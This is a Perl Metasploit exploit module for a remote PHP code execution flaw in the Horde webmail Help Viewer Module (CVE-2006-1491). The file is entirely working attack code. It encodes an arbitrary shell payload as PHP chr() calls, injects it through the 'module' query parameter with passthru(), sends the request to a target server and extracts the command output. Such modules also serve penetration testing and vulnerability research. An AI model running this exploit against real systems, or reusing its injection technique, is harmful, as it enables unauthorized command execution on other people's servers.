package Msf::Exploit::horde_help_module;
use base "Msf::Exploit";
use strict;
use Pex::Text;
use bytes;

my $advanced = { };

my $info = {
'Name' => 'Horde help viewer module remote PHP code execution',
'Version' => '$Revision: 1.0 $',
'Authors' => [ 'inkubus < inkubus [at] inbox.lv >' ],
'Arch' => [ ],
'OS' => [ ],
'Priv' => 0,
'UserOpts' =>
{
'RHOST' => [1, 'ADDR', 'The target address'],
'RPORT' => [1, 'PORT', 'The target port', 80],
'VHOST' => [0, 'DATA', 'The virtual host name of the server'],
'RPATH' => [1, 'DATA', 'Path to the Horde help module', '/horde/services/help/'],
'SSL' => [0, 'BOOL', 'Use SSL'],
},

'Description' => Pex::Text::Freeform(qq{
This module exploits an arbitrary PHP code execution flaw in the Horde web
mail software. This vulnerability is only present in the "Help Viewer Module".
Horde versions 3.0 up to 3.0.9 and 3.1.0 are vulnerable.
}),

'Refs' =>
[
['OSVDB', '15945'],
['CVE', '2006-1491'],
],

'Payload' =>
{
'Space' => 512,
'Keys' => ['cmd', 'cmd_bash'],
},

'Keys' => ['horde'],

'DisclosureDate' => 'Mar 28 2006',
};

sub new {
my $class = shift;
my $self = $class->SUPER::new({'Info' => $info, 'Advanced' => $advanced}, @_);
return($self);
}

sub Exploit {
my $self = shift;
my $target_host = $self->GetVar('RHOST');
my $target_port = $self->GetVar('RPORT');
my $vhost = $self->GetVar('VHOST') || $target_host;
my $path = $self->GetVar('RPATH');
my $cmd = $self->GetVar('EncodedPayload')->RawPayload;

# Add an echo on each end for easy output capturing
$cmd = "echo _cmd_beg_;".$cmd.";echo _cmd_end_";

# Encode the command as a set of chr() function calls
my $byte = join('.', map { $_ = 'chr('.$_.')' } unpack('C*', $cmd));

# Create the get request data
#my $data = "?do=page&template={\${passthru($byte)}}";
my $data = "?show=about&module=;\".passthru($byte);'.";

my $req =
"GET $path$data HTTP/1.1\r\n".
"Host: $vhost:$target_port\r\n".
"Content-Type: application/html\r\n".
"Content-Length: ". length($data)."\r\n".
"Connection: Close\r\n".
"\r\n";

my $s = Msf::Socket::Tcp->new(
'PeerAddr' => $target_host,
'PeerPort' => $target_port,
'LocalPort' => $self->GetVar('CPORT'),
'SSL' => $self->GetVar('SSL'),
);

if ($s->IsError){
$self->PrintLine('[*] Error creating socket: ' . $s->GetError);
return;
}

$self->PrintLine("[*] Sending the malicious Horde request...");

$s->Send($req);

my $results = $s->Recv(-1, 20);
$s->Close();

if ($results =~ m/_cmd_beg_(.*)_cmd_end_/ms) {
my $out = $1;
$out =~ s/^\s+|\s+$//gs;
if ($out) {
$self->PrintLine('----------------------------------------');
$self->PrintLine('');
$self->PrintLine($out);
$self->PrintLine('');
$self->PrintLine('----------------------------------------');
}
}
return;
}

1;